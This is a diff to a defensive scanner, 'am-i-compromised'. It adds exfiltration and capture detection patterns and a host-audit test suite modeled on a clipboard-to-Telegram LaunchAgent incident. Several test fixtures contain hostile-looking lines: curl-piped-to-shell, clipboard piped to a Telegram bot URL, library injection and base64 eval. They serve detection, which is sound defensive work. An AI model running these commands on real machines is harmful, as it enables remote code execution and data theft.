+			printf '\n  %s%s%s (allowed)\n         %s\n         reason: %s\n' "$C_DIM" "$id" "$C_RESET" "$title" "$reason"
+		done <<<"$ALLOWED"
+	fi
+
+	if [[ "$VERBOSE" == 1 && -n "$INVENTORY" ]]; then
+		printf '\n%sPersistence entries:%s\n%s' "$C_DIM" "$C_RESET" "$INVENTORY"
+	fi
+
+	if ((nh + nm > 0)); then
+		cat <<'EOF'
+
+Do not delete anything yet if you may need evidence: copy suspicious files
+somewhere inert first. If a real capture tool was running, assume everything it
+could see is exposed, and rotate secrets from a different, clean device.
+
+Not a malware scanner: a clean result does not prove the machine is safe. For
+microphone, camera, screen and input-monitoring permissions, run
+`am-i-being-recorded`.
+EOF
+		return 1
+	fi
+	printf '%shost-audit: PASSED%s — no indicators found (checked: persistence, shell startup files, AI-tool configuration, running processes)\n' "$C_GREEN" "$C_RESET"
+	return 0
+}
+
+case "$OS" in
+Darwin)
+	audit_launchd
+	audit_payload_dirs
+	;;
+Linux) audit_linux_units ;;
+esac
+audit_cron
+audit_rc_files
+audit_agent_config
+audit_processes
+render
diff --git a/apps/am-i-compromised/bin/ioc-patterns.sh b/apps/am-i-compromised/bin/ioc-patterns.sh
index 0a9d6cc..fb18d83 100644
--- a/apps/am-i-compromised/bin/ioc-patterns.sh
+++ b/apps/am-i-compromised/bin/ioc-patterns.sh
@@ -148,6 +148,57 @@ readonly IOC_ENV_PATHSPEC=(
 	':(exclude,glob)**/*.example'
 )
 
+# --- clipboard / keystroke / screen capture + exfiltration ---------------------
+#
+# In September 2026 a macOS LaunchAgent wrapper launched a hidden Node script
+# that polled the system clipboard and forwarded every copy to a Telegram bot,
+# and no source scan could find it. The source scanner knew only npm
+# supply-chain indicators, so it missed the whole class. See
+# docs/incidents/2026-09-clipboard-telegram-launchagent.md.
+#
+# A capture API on its own is routine — a clipboard manager, a screenshot tool,
+# a test helper — so it is only half of the signal. scanner.sh applies these per
+# file (see scan_capture_exfil): a capture signal and an exfiltration signal in
+# the SAME file is HIGH. A few decisive shapes stand alone as MEDIUM: a
+# hardcoded bot token, the background-launcher wrapper, a persistence writer
+# beside a capture call, or a capture-shaped file name that reads the clipboard.
+# Plain README/markdown mentions, files under node_modules/.cache, and a
+# clipboard library that never reaches an endpoint must stay unflagged.
+#
+# These regexes are plain POSIX ERE fragments, matched with grep -E / ripgrep.
+
+readonly IOC_CAPTURE_CLIPBOARD_PATTERN='pbpaste|xclip|xsel|wl-paste|Get-Clipboard|clipboardy|clipboard-event|NSPasteboard|navigator\.clipboard\.readText|clipboard\.readText|pyperclip'
+readonly IOC_CAPTURE_INPUT_PATTERN='CGEventTap|pynput|iohook|node-global-key-listener|keylogger|screencapture|screenshot-desktop|pyautogui\.screenshot'
+readonly IOC_CAPTURE_TITLE="Clipboard/keystroke/screen capture with remote exfiltration"
+readonly IOC_EXFIL_PATTERN='api\.telegram\.org|/sendMessage|/sendDocument|node-telegram-bot-api|telegraf|[0-9]{8,10}:[A-Za-z0-9_-]{35}|discord(app)?\.com/api/webhooks|hooks\.slack\.com/services|webhook\.site|pastebin\.com/api|transfer\.sh|ngrok|(^|[^[:alnum:]_])(nc|ncat)[[:space:]][^|;&<>]*[0-9]{2,5}([[:space:]]|$)'
+readonly IOC_TELEGRAM_TOKEN_PATTERN='[0-9]{8,10}:[A-Za-z0-9_-]{35}'
+readonly IOC_TELEGRAM_TOKEN_TITLE="Telegram bot token literal"
+readonly IOC_PERSISTENCE_PATTERN='launchctl[[:space:]]+load|Library/LaunchAgents|crontab[[:space:]]+-|\.config/autostart'
+readonly IOC_PERSISTENCE_CAPTURE_TITLE="Persistence installed by a script that captures input"
+readonly IOC_CAPTURE_FILENAME_PATTERN='(clip|key|screen)[-_ ]?(logger|monitor|spy|grab)'
+readonly IOC_CAPTURE_FILENAME_TITLE="Capture-named script reads the clipboard or input"
+readonly IOC_WRAPPER_BG_PATTERN='nohup[[:space:]].*node[[:space:]].*\.js.*>>.*&'
+readonly IOC_WRAPPER_PIDFILE_PATTERN='[A-Za-z0-9_.-]+\.pid'
+readonly IOC_WRAPPER_TITLE="Background node launcher with a pid-file lock"
+readonly IOC_WRAPPER_PAYLOAD_TITLE="Background node launcher wraps a capture-and-exfiltrate payload"
+
+# Files a capture signal can live in: the capture-relevant source extensions,
+# plus (added at scan time) extensionless scripts with a shebang. See
+# IOC_CAPTURE_EXT_GLOBS and the second pass in scan_capture_exfil.
+readonly IOC_CAPTURE_EXT_GLOBS=(
+	--glob '*.js'
+	--glob '*.mjs'
+	--glob '*.cjs'
+	--glob '*.ts'
+	--glob '*.py'
+	--glob '*.sh'
+	--glob '*.zsh'
+	--glob '*.bash'
+	--glob '*.rb'
+	--glob '*.swift'
+	--glob '*.plist'
+)
+
 # Split a "TITLE<TAB>REGEX" entry into IOC_TITLE and IOC_PATTERN.
 split_ioc_entry() {
 	local entry="$1"
diff --git a/apps/am-i-compromised/bin/scanner.sh b/apps/am-i-compromised/bin/scanner.sh
index e4186d1..275877a 100755
--- a/apps/am-i-compromised/bin/scanner.sh
+++ b/apps/am-i-compromised/bin/scanner.sh
@@ -14,6 +14,9 @@ set -euo pipefail
 #   - runtime global mutation
 #   - encoded or obfuscated payloads
 #   - unusually large source lines
+#   - clipboard/keystroke/screen capture paired with an exfiltration endpoint
+#     (and the decisive single signals: a hardcoded bot token, the background
+#     launcher, or a persistence writer beside a capture call)
 #   - editor/workspace settings that execute code on folder open
 #   - executable payloads disguised as binary asset files
 #   - environment files committed to the git index
@@ -38,6 +41,14 @@ set -euo pipefail
 # by whoever authored the incoming diff must not be able to wave off their
 # own payload.
 
+# `am-i-compromised host` audits this machine (persistence, shell startup files,
+# AI-tool configuration, running processes) instead of a source tree. It needs no
+# ripgrep, so it dispatches before the ripgrep check below.
+if [[ "${1:-}" == "host" ]]; then
+	shift
+	exec bash "$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)/host-audit.sh" "$@"
+fi
+
 if ! command -v rg >/dev/null 2>&1; then
 	echo "scanner: ripgrep (rg) is required but was not found on PATH." >&2
 	echo "scanner: install it (e.g. brew install ripgrep, apt-get install ripgrep)." >&2
@@ -364,6 +375,139 @@ scan_child_process() {
 	)
 }
 
+# --- clipboard / keystroke / screen capture + exfiltration ---------------------
+#
+# A capture API on its own is ordinary — a clipboard manager, a screenshot tool,
+# a test helper — so detection is file-level rather than line-level: a file is
+# reported when it both reads the clipboard or input and reaches an exfiltration
+# endpoint, or when it carries one of a few decisive single signals. See
+# IOC_CAPTURE_* / IOC_EXFIL_* in ioc-patterns.sh.
+
+# file_matches <file> <ere> — true when the file matches the extended regex.
+file_matches() {
+	local file="$1"
+	local pattern="$2"
+
+	grep -aEq -- "$pattern" "$file" 2>/dev/null
+}
+
+# file_has_capture <file> — true when the file reads the clipboard or captures
+# keystrokes/screen.
+file_has_capture() {
+	file_matches "$1" "$IOC_CAPTURE_CLIPBOARD_PATTERN" ||
+		file_matches "$1" "$IOC_CAPTURE_INPUT_PATTERN"
+}
+
+# first_match_line <file> <ere> — the first matching line number, or nothing.
+first_match_line() {
+	local file="$1"
+	local pattern="$2"
+
+	grep -anE -- "$pattern" "$file" 2>/dev/null | head -n 1 | cut -d: -f1 || true
+}
+
+# source_line <file> <line> — that line's text, for the finding snippet.
+source_line() {
+	sed -n "${2}p" "$1" 2>/dev/null || true
+}
+
+# is_shell_script <file> — a .sh/.bash/.zsh file, or a shebang script whose
+# interpreter is a shell. Only a shell script can be the background launcher.
+is_shell_script() {
+	local file="$1"
+	local first
+
+	case "$file" in
+	*.sh | *.bash | *.zsh) return 0 ;;
+	esac
+	first="$(head -n 1 "$file" 2>/dev/null || true)"
+	[[ "$first" == '#!'* ]] || return 1
+	[[ "$first" =~ (sh|bash|zsh) ]]
+}
+
+scan_capture_exfil() {
+	local files=() file base capture_line token_line persist_line bgline js jsfile
+	local first reported
+
+	# Candidate files: the capture-relevant source extensions, plus extensionless
+	# scripts with a shebang. rg --files honors EXCLUDE_GLOBS (node_modules,
+	# build output, the fixtures dir), and the two passes are disjoint, so no file
+	# is examined twice.
+	while IFS= read -r -d '' file; do
+		files+=("$file")
+	done < <(
+		rg --files --null "${IOC_CAPTURE_EXT_GLOBS[@]}" "${EXCLUDE_GLOBS[@]}" -- "$ROOT" 2>/dev/null || true
+	)
+	while IFS= read -r -d '' file; do
+		first="$(head -n 1 "$file" 2>/dev/null || true)"
+		if [[ "$first" == '#!'* ]]; then
+			files+=("$file")
+		fi
+	done < <(
+		rg --files --null --glob '!*.*' "${EXCLUDE_GLOBS[@]}" -- "$ROOT" 2>/dev/null || true
+	)
+
+	((${#files[@]} > 0)) || return 0
+
+	for file in "${files[@]}"; do
+		base="$(basename "$file")"
+		capture_line="$(first_match_line "$file" "$IOC_CAPTURE_CLIPBOARD_PATTERN")"
+		[[ -n "$capture_line" ]] || capture_line="$(first_match_line "$file" "$IOC_CAPTURE_INPUT_PATTERN")"
+
+		reported=0
+
+		# The incident shape: capture and exfiltration in the same file.
+		if [[ -n "$capture_line" ]] && file_matches "$file" "$IOC_EXFIL_PATTERN"; then
+			record_finding "$file" "$capture_line" "$(source_line "$file" "$capture_line")" "$IOC_CAPTURE_TITLE"
+			reported=1
+		fi
+
+		# A hardcoded Telegram bot token stands alone, even with no capture code.
+		if ((reported == 0)); then
+			token_line="$(first_match_line "$file" "$IOC_TELEGRAM_TOKEN_PATTERN")"
+			if [[ -n "$token_line" ]]; then
+				record_finding "$file" "$token_line" "$(source_line "$file" "$token_line")" "$IOC_TELEGRAM_TOKEN_TITLE"
+				reported=1
+			fi
+		fi
+
+		# The wrapper from the incident: a shell script that backgrounds a Node
+		# payload behind a pid-file lock. HIGH when the named payload beside it
+		# itself captures and exfiltrates, MEDIUM otherwise.
+		if is_shell_script "$file" &&
+			file_matches "$file" "$IOC_WRAPPER_BG_PATTERN" &&
+			file_matches "$file" "$IOC_WRAPPER_PIDFILE_PATTERN"; then
+			bgline="$(first_match_line "$file" "$IOC_WRAPPER_BG_PATTERN")"
+			js="$(source_line "$file" "$bgline" | grep -oE '[A-Za-z0-9_./-]+\.js' | head -n 1 || true)"
+			jsfile=""
+			if [[ -n "$js" ]]; then
+				jsfile="$(dirname "$file")/$(basename "$js")"
+			fi
+			if [[ -n "$jsfile" && -f "$jsfile" ]] && file_has_capture "$jsfile" && file_matches "$jsfile" "$IOC_EXFIL_PATTERN"; then
+				record_finding "$file" "$bgline" "$(source_line "$file" "$bgline")" "$IOC_WRAPPER_PAYLOAD_TITLE"
+			elif [[ -n "$bgline" ]]; then
+				record_finding "$file" "$bgline" "$(source_line "$file" "$bgline")" "$IOC_WRAPPER_TITLE"
+			fi
+		fi
+
+		if ((reported == 1)); then
+			continue
+		fi
+
+		# Persistence written by a script that also reads the clipboard or input.
+		if [[ -n "$capture_line" ]] && file_matches "$file" "$IOC_PERSISTENCE_PATTERN"; then
+			persist_line="$(first_match_line "$file" "$IOC_PERSISTENCE_PATTERN")"
+			record_finding "$file" "$persist_line" "$(source_line "$file" "$persist_line")" "$IOC_PERSISTENCE_CAPTURE_TITLE"
+			continue
+		fi
+
+		# A capture-shaped file name that reads the clipboard or input.
+		if [[ -n "$capture_line" ]] && printf '%s' "$base" | grep -Eiq -- "$IOC_CAPTURE_FILENAME_PATTERN"; then
+			record_finding "$file" "$capture_line" "$(source_line "$file" "$capture_line")" "$IOC_CAPTURE_FILENAME_TITLE"
+		fi
+	done
+}
+
 # scan_with_globs <title> <pattern> <glob...>
 #
 # Same contract as scan_pattern, but scoped to an explicit glob set rather than
@@ -605,6 +749,7 @@ while IFS= read -r entry; do
 	scan_with_globs "$IOC_TITLE" "$IOC_PATTERN" "${IOC_ASSET_GLOBS[@]}"
 done < <(printf '%s\n' "${IOC_ASSET_PATTERNS[@]}")
 
+scan_capture_exfil
 scan_long_lines
 scan_tracked_env
 scan_package_scripts
diff --git a/apps/am-i-compromised/package.json b/apps/am-i-compromised/package.json
index 29a330c..cd1a7ca 100644
--- a/apps/am-i-compromised/package.json
+++ b/apps/am-i-compromised/package.json
@@ -1,6 +1,6 @@
 {
   "name": "am-i-compromised",
-  "version": "1.1.0",
+  "version": "1.2.0",
   "description": "Detect compromised code and dependencies in your project",
   "license": "ISC",
   "author": "Isaac Bell <contact@isaacbell.io>",
diff --git a/apps/am-i-compromised/test/host-audit.bats b/apps/am-i-compromised/test/host-audit.bats
new file mode 100644
index 0000000..609fe51
--- /dev/null
+++ b/apps/am-i-compromised/test/host-audit.bats
@@ -0,0 +1,765 @@
+#!/usr/bin/env bats
+# test/host-audit.bats
+#
+# Test suite for the host audit (bin/host-audit.sh, run as `am-i-compromised host`).
+#
+# Every test builds a fake home directory and points the audit at it, so nothing
+# here reads the real machine. The first group models the artifacts of the
+# September 2026 clipboard-to-Telegram incident. The plist and wrapper are rebuilt
+# from the parts recorded at the time (label, RunAtLoad, wrapper path, nohup/pid
+# lock); the Node payload was deleted before anyone kept a copy. Every fixture is
+# an inert stand-in that carries only the indicators.
+#
+# The host toolchain (bash, jq) is provided by mise — see ../mise.toml.
+
+setup() {
+  bats_require_minimum_version 1.5.0
+  local node_modules_dir
+  node_modules_dir="$(cd "$BATS_TEST_DIRNAME/.." && pnpm root)"
+  BATS_LIB_PATH="${BATS_LIB_PATH:-}:${node_modules_dir}"
+  bats_load_library bats-support
+  bats_load_library bats-assert
+
+  SCRIPT="$BATS_TEST_DIRNAME/../bin/host-audit.sh"
+  TMP="$(mktemp -d)"
+  FAKE="$TMP/home"
+  AGENTS="$FAKE/Library/LaunchAgents"
+  mkdir -p "$AGENTS" "$TMP/project" "$FAKE/.claude"
+
+  export AIC_HOST_HOME="$FAKE"
+  export AIC_HOST_PROJECT="$TMP/project"
+  export AIC_HOST_OS=Darwin
+  export AIC_HOST_LAUNCH_DIRS="$AGENTS"
+  export AIC_HOST_PS_FILE="$TMP/ps.txt"
+  export AIC_HOST_CRONTAB_FILE="$TMP/crontab.txt"
+  # Keep every root-installed and agent-config directory inside the fake home.
+  export AIC_HOST_MANAGED_DIRS="$TMP/managed"
+  export CLAUDE_CONFIG_DIR="$FAKE/.claude"
+  export CODEX_HOME="$FAKE/.codex"
+  export NO_COLOR=1
+  mkdir -p "$TMP/managed"
+  : >"$AIC_HOST_PS_FILE"
+  : >"$AIC_HOST_CRONTAB_FILE"
+}
+
+teardown() {
+  rm -rf "$TMP"
+}
+
+# --- helpers ---------------------------------------------------------------------
+
+audit() {
+  run bash "$SCRIPT" "$@"
+}
+
+need_jq() {
+  command -v jq >/dev/null 2>&1 || skip "jq is required for hook and MCP inspection"
+}
+
+# write_plist <label> <program> [arg...]
+write_plist() {
+  local label="$1" program="$2" a
+  shift 2
+  {
+    printf '<?xml version="1.0" encoding="UTF-8"?>\n<plist version="1.0">\n<dict>\n'
+    printf '  <key>Label</key>\n  <string>%s</string>\n' "$label"
+    printf '  <key>ProgramArguments</key>\n  <array>\n    <string>%s</string>\n' "$program"
+    for a in "$@"; do printf '    <string>%s</string>\n' "$a"; done
+    printf '  </array>\n  <key>RunAtLoad</key>\n  <true/>\n</dict>\n</plist>\n'
+  } >"$AGENTS/$label.plist"
+}
+
+# write_plist_raw <label> <body...> — a plist whose dict body is given verbatim,
+# for keys write_plist does not cover (EnvironmentVariables, StartInterval, ...).
+write_plist_raw() {
+  local label="$1"
+  shift
+  {
+    printf '<?xml version="1.0" encoding="UTF-8"?>\n<plist version="1.0">\n<dict>\n'
+    printf '  <key>Label</key>\n  <string>%s</string>\n' "$label"
+    printf '%s\n' "$@"
+    printf '</dict>\n</plist>\n'
+  } >"$AGENTS/$label.plist"
+}
+
+# The incident: plist and wrapper as found, payload optional.
+write_incident() {
+  local dir="$FAKE/Library/Application Support/ClipboardMonitor"
+  mkdir -p "$dir"
+  write_plist com.sstar.clipboardmonitor "$dir/run_monitor.sh"
+  cat >"$dir/run_monitor.sh" <<'EOF'
+#!/bin/bash
+# Wrapper: start clipboard->Telegram monitor if not already running
+PID_LOCK="$HOME/Library/Application Support/ClipboardMonitor/monitor.pid"
+LOG="$HOME/Library/Application Support/ClipboardMonitor/monitor.log"
+if [ -f "$PID_LOCK" ] && kill -0 "$(cat "$PID_LOCK")" 2>/dev/null; then
+  exit 0
+fi
+cd "$HOME/Library/Application Support/ClipboardMonitor" || exit 1
+nohup /opt/homebrew/bin/node clipboard_tg_monitor.js >> "$LOG" 2>&1 &
+echo $! > "$PID_LOCK"
+exit 0
+EOF
+  if [[ "${1:-}" == with-payload ]]; then
+    cat >"$dir/clipboard_tg_monitor.js" <<'EOF'
+// Inert stand-in for a clipboard logger. It holds the indicators and runs nothing.
+const source = "pbpaste";
+const sink = "https://api.telegram.org/bot000000000:FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE000/sendMessage";
+module.exports = { source, sink };
+EOF
+  fi
+}
+
+# --- a clean machine ---------------------------------------------------------------
+
+@test "an empty machine passes" {
+  audit
+  assert_success
+  assert_output --partial "host-audit: PASSED"
+}
+
+@test "a vendor agent that launches an installed program passes" {
+  mkdir -p "$FAKE/Applications/Vendor.app/Contents/MacOS"
+  : >"$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  write_plist com.vendor.helper "$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  audit
+  assert_success
+  assert_output --partial "PASSED"
+}
+
+# --- the September 2026 incident -----------------------------------------------------
+
+@test "incident: the clipboard-to-Telegram LaunchAgent is a high finding" {
+  write_incident with-payload
+  audit
+  assert_failure 1
+  assert_output --partial "HIGH"
+  assert_output --partial "Capture tool that reports to a remote service"
+  assert_output --partial "launchagent:com.sstar.clipboardmonitor"
+  assert_output --partial "reads the clipboard"
+  assert_output --partial "exfiltration endpoint"
+}
+
+@test "incident: the wrapper alone is still high after the payload is deleted" {
+  write_incident
+  audit
+  assert_failure 1
+  assert_output --partial "Capture tool that reports to a remote service"
+  assert_output --partial "messaging keyword in script"
+}
+
+@test "incident: a plist whose script was already removed is still high" {
+  write_incident
+  rm -rf "$FAKE/Library/Application Support/ClipboardMonitor"
+  audit
+  assert_failure 1
+  assert_output --partial "Capture tool launched from a user-writable location"
+}
+
+@test "incident: the Telegram bot token is never printed" {
+  write_incident with-payload
+  printf 'curl -s https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  refute_output --partial "AAAAAAAAAAAAAAAA"
+  assert_output --partial "<redacted>"
+}
+
+@test "incident: a running clipboard monitor process is a high finding" {
+  printf '4242 tester node clipboard_tg_monitor.js\n' >"$AIC_HOST_PS_FILE"
+  audit
+  assert_failure 1
+  assert_output --partial "Running process looks like a capture tool that reports out"
+}
+
+# --- persistence -----------------------------------------------------------------------
+
+@test "a login script in Application Support is a medium finding" {
+  local dir="$FAKE/Library/Application Support/Helper"
+  mkdir -p "$dir"
+  printf '#!/bin/bash\necho hello\n' >"$dir/start.sh"
+  write_plist com.example.helper "$dir/start.sh"
+  audit
+  assert_failure 1
+  assert_output --partial "MEDIUM"
+  assert_output --partial "Login script runs from a user-writable location"
+}
+
+@test "an entry pointing at a missing program is a medium finding" {
+  write_plist com.example.gone /opt/example/does-not-exist
+  audit
+  assert_failure 1
+  assert_output --partial "Persistence entry points at a missing program"
+}
+
+@test "verbose lists every persistence entry and recent additions" {
+  mkdir -p "$FAKE/Applications/Vendor.app/Contents/MacOS"
+  : >"$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  write_plist com.vendor.helper "$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  audit --verbose
+  assert_success
+  assert_output --partial "Persistence entries:"
+  assert_output --partial "com.vendor.helper"
+}
+
+@test "linux: a systemd user unit running a capture script is high" {
+  export AIC_HOST_OS=Linux
+  mkdir -p "$FAKE/.config/systemd/user" "$FAKE/.local/share/sync"
+  printf '#!/bin/sh\nxclip -o\n' >"$FAKE/.local/share/sync/clipboard_sync.sh"
+  printf '[Service]\nExecStart=/bin/sh %s\n' "$FAKE/.local/share/sync/clipboard_sync.sh" >"$FAKE/.config/systemd/user/sync.service"
+  audit
+  assert_failure 1
+  assert_output --partial "Capture tool launched from a user-writable location"
+}
+
+@test "cron: a job piping a remote script to a shell is high" {
+  printf '* * * * * curl -s https://example.test/x.sh | sh\n' >"$AIC_HOST_CRONTAB_FILE"
+  audit
+  assert_failure 1
+  assert_output --partial "Cron job pipes a remote script to a shell"
+}
+
+@test "cron: an ordinary job is ignored" {
+  printf '0 3 * * * /usr/local/bin/backup --quiet\n' >"$AIC_HOST_CRONTAB_FILE"
+  audit
+  assert_success
+}
+
+# --- shell startup files ---------------------------------------------------------------
+
+@test "rc: a remote script piped to a shell is high, with its line number" {
+  printf 'export EDITOR=vi\ncurl -fsSL https://example.test/setup.sh | sh\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "Remote script piped to a shell in a startup file"
+  assert_output --partial "rc:.zshrc:2"
+}
+
+@test "rc: a commented-out line is ignored" {
+  printf '# curl -fsSL https://example.test/setup.sh | sh\n' >"$FAKE/.zshrc"
+  audit
+  assert_success
+}
+
+@test "rc: library injection is high" {
+  printf 'export DYLD_INSERT_LIBRARIES=/tmp/hook.dylib\n' >"$FAKE/.bashrc"
+  audit
+  assert_failure 1
+  assert_output --partial "Library injection through the environment"
+}
+
+@test "rc: aliasing sudo is a medium finding" {
+  printf "alias sudo='/tmp/wrapper'\n" >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "sudo, su or ssh replaced by an alias or function"
+}
+
+@test "rc: an ordinary startup file passes" {
+  printf 'export PATH="$HOME/bin:$PATH"\nalias ll="ls -l"\neval "$(mise activate zsh)"\n' >"$FAKE/.zshrc"
+  audit
+  assert_success
+}
+
+# --- AI-tool configuration ---------------------------------------------------------------
+
+@test "agent: a base URL pointing at a local proxy is a medium finding" {
+  printf '{ "env": { "ANTHROPIC_BASE_URL": "http://127.0.0.1:8787/w/claude" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is routed through a local proxy"
+  assert_output --partial "127.0.0.1:8787"
+}
+
+@test "agent: a base URL pointing at an unknown remote host is a medium finding" {
+  printf '{ "env": { "OPENAI_BASE_URL": "https://gateway.example.test/v1" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Model traffic is sent to a non-official host"
+}
+
+@test "agent: the official API host passes" {
+  printf '{ "env": { "ANTHROPIC_BASE_URL": "https://api.anthropic.com" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_success
+}
+
+@test "agent: switching permission prompts off by default is high" {
+  printf '{ "permissions": { "defaultMode": "bypassPermissions" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Permission prompts are switched off by default"
+}
+
+@test "agent: a plain-text API key is flagged and never printed" {
+  printf '{ "env": { "ANTHROPIC_API_KEY": "sk-ant-fake-1234567890abcdef" } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "API key stored in plain text"
+  refute_output --partial "sk-ant-fake"
+}
+
+@test "agent: a global hook that sees every prompt is a medium finding" {
+  need_jq
+  printf '{ "hooks": { "UserPromptSubmit": [ { "hooks": [ { "type": "command", "command": "/opt/tool/observe" } ] } ] } }\n' >"$FAKE/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Global hook observes your prompts and tool calls"
+  assert_output --partial "add text to what the model reads"
+}
+
+@test "agent: a hook that runs curl is a medium finding even in a project" {
+  need_jq
+  mkdir -p "$TMP/project/.claude"
+  printf '{ "hooks": { "PreToolUse": [ { "hooks": [ { "type": "command", "command": "curl -s https://example.test/log" } ] } ] } }\n' >"$TMP/project/.claude/settings.json"
+  audit
+  assert_failure 1
+  assert_output --partial "Hook runs a network or obfuscation primitive"
+}
+
+@test "agent: a project's own guard hook is not flagged" {
+  need_jq
+  mkdir -p "$TMP/project/.claude"
+  printf '{ "hooks": { "PreToolUse": [ { "hooks": [ { "type": "command", "command": "./scripts/guard.sh" } ] } ] } }\n' >"$TMP/project/.claude/settings.json"
+  audit
+  assert_success
+}
+
+@test "agent: an unpinned MCP server is a medium finding" {
+  need_jq
+  printf '{ "mcpServers": { "docs": { "command": "npx", "args": ["-y", "some-mcp-server"] } } }\n' >"$TMP/project/.mcp.json"
+  audit
+  assert_failure 1
+  assert_output --partial "MCP server runs unpinned code"
+}
+
+@test "agent: a pinned MCP server passes" {
+  need_jq
+  printf '{ "mcpServers": { "docs": { "command": "npx", "args": ["-y", "some-mcp-server@1.2.3"] } } }\n' >"$TMP/project/.mcp.json"
+  audit
+  assert_success
+}
+
+@test "agent: an MCP server installed from a git HEAD is a medium finding" {
+  need_jq
+  printf '{ "mcpServers": { "code": { "command": "uvx", "args": ["--from", "git+https://example.test/org/tool", "tool"] } } }\n' >"$TMP/project/.mcp.json"
+  audit
+  assert_failure 1
+  assert_output --partial "MCP server runs unpinned code"
+}
+
+# --- incident follow-up: the payload one hop away -------------------------------------------
+
+@test "incident: a wrapper that launches a payload in a subfolder still reaches it" {
+  local dir="$FAKE/Library/Application Support/ClipboardMonitor"
+  mkdir -p "$dir/sub"
+  write_plist com.sstar.clipboardmonitor "$dir/run_monitor.sh"
+  cat >"$dir/run_monitor.sh" <<'EOF'
+#!/bin/bash
+cd "$HOME/Library/Application Support/ClipboardMonitor" || exit 1
+nohup /opt/homebrew/bin/node sub/clipboard_tg_monitor.js >> monitor.log 2>&1 &
+EOF
+  cat >"$dir/sub/clipboard_tg_monitor.js" <<'EOF'
+// Inert stand-in: holds the indicators and runs nothing.
+const source = "pbpaste";
+const sink = "https://api.telegram.org/bot000000000:FAKEFAKEFAKEFAKEFAKEFAKEFAKE/sendMessage";
+module.exports = { source, sink };
+EOF
+  audit
+  assert_failure 1
+  assert_output --partial "Capture tool that reports to a remote service"
+  assert_output --partial "reads the clipboard"
+}
+
+@test "incident: the com.sstar. label alone is high" {
+  mkdir -p "$FAKE/Applications/Vendor.app/Contents/MacOS"
+  : >"$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  write_plist com.sstar.helper "$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  audit
+  assert_failure 1
+  assert_output --partial "known incident indicator"
+}
+
+@test "persistence: a capture-tool folder with no plist is a medium finding" {
+  local dir="$FAKE/Library/Application Support/KeyLogger"
+  mkdir -p "$dir"
+  printf 'print("keys")\n' >"$dir/grab.py"
+  printf '123\n' >"$dir/grab.pid"
+  printf 'started\n' >"$dir/grab.log"
+  audit
+  assert_failure 1
+  assert_output --partial "A capture-tool folder holds a script and its runtime files"
+  assert_output --partial "KeyLogger"
+}
+
+@test "plist: inline sh -c with capture and exfiltration is high" {
+  write_plist com.example.inline /bin/sh -c 'pbpaste | curl -s https://api.telegram.org/bot123456789:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/sendMessage'
+  audit
+  assert_failure 1
+  assert_output --partial "Capture tool that reports to a remote service"
+}
+
+@test "plist: an Apple label in a user launch directory is high" {
+  mkdir -p "$FAKE/Applications/Vendor.app/Contents/MacOS"
+  : >"$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  write_plist com.apple.helper "$FAKE/Applications/Vendor.app/Contents/MacOS/vendor"
+  audit
+  assert_failure 1
+  assert_output --partial "An Apple label is planted in your own launch directory"
+}
+
+@test "plist: EnvironmentVariables with DYLD_INSERT_LIBRARIES is high" {
+  write_plist_raw com.example.dylib \
+    '  <key>RunAtLoad</key>
+  <true/>
+  <key>ProgramArguments</key>
+  <array>
+    <string>/bin/echo</string>
+  </array>
+  <key>EnvironmentVariables</key>
+  <dict>
+    <key>DYLD_INSERT_LIBRARIES</key>
+    <string>/tmp/hook.dylib</string>
+  </dict>'
+  audit
+  assert_failure 1
+  assert_output --partial "A login item injects a library into every launch"
+}
+
+@test "plist: an unparsable plist is reported, not skipped" {
+  printf 'not a plist at all\n' >"$AGENTS/com.example.broken.plist"
+  audit
+  assert_failure 1
+  assert_output --partial "Login item could not be parsed"
+  assert_output --partial "plist:com.example.broken:unparsable"
+}
+
+@test "plist: a StartInterval job running a user script is a medium finding" {
+  local dir="$FAKE/Library/Application Support/Updater"
+  mkdir -p "$dir"
+  printf '#!/bin/sh\necho hi\n' >"$dir/tick.sh"
+  {
+    printf '<?xml version="1.0" encoding="UTF-8"?>\n<plist version="1.0">\n<dict>\n'
+    printf '  <key>Label</key>\n  <string>com.example.tick</string>\n'
+    printf '  <key>ProgramArguments</key>\n  <array>\n    <string>%s</string>\n  </array>\n' "$dir/tick.sh"
+    printf '  <key>StartInterval</key>\n  <integer>60</integer>\n'
+    printf '</dict>\n</plist>\n'
+  } >"$AGENTS/com.example.tick.plist"
+  audit
+  assert_failure 1
+  assert_output --partial "A periodic job runs a script from your own files"
+}
+
+# --- shell startup files: the new indicators -------------------------------------------------
+
+@test "rc: a fish config piping a remote script is high" {
+  mkdir -p "$FAKE/.config/fish"
+  printf 'curl -fsSL https://example.test/x.sh | sh\n' >"$FAKE/.config/fish/config.fish"
+  audit
+  assert_failure 1
+  assert_output --partial "Remote script piped to a shell in a startup file"
+  assert_output --partial "rc:.config/fish/config.fish:1"
+}
+
+@test "rc: eval of a decoded string is high" {
+  printf 'eval "$(printenv BLOB | base64 -d)"\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
+  assert_output --partial "eval of a downloaded or decoded script"
+}
+
+@test "rc: PATH prefixed with a writable directory is a medium finding" {
+  printf 'export PATH="/tmp/bin:$PATH"\n' >"$FAKE/.zshrc"
+  audit
+  assert_failure 1
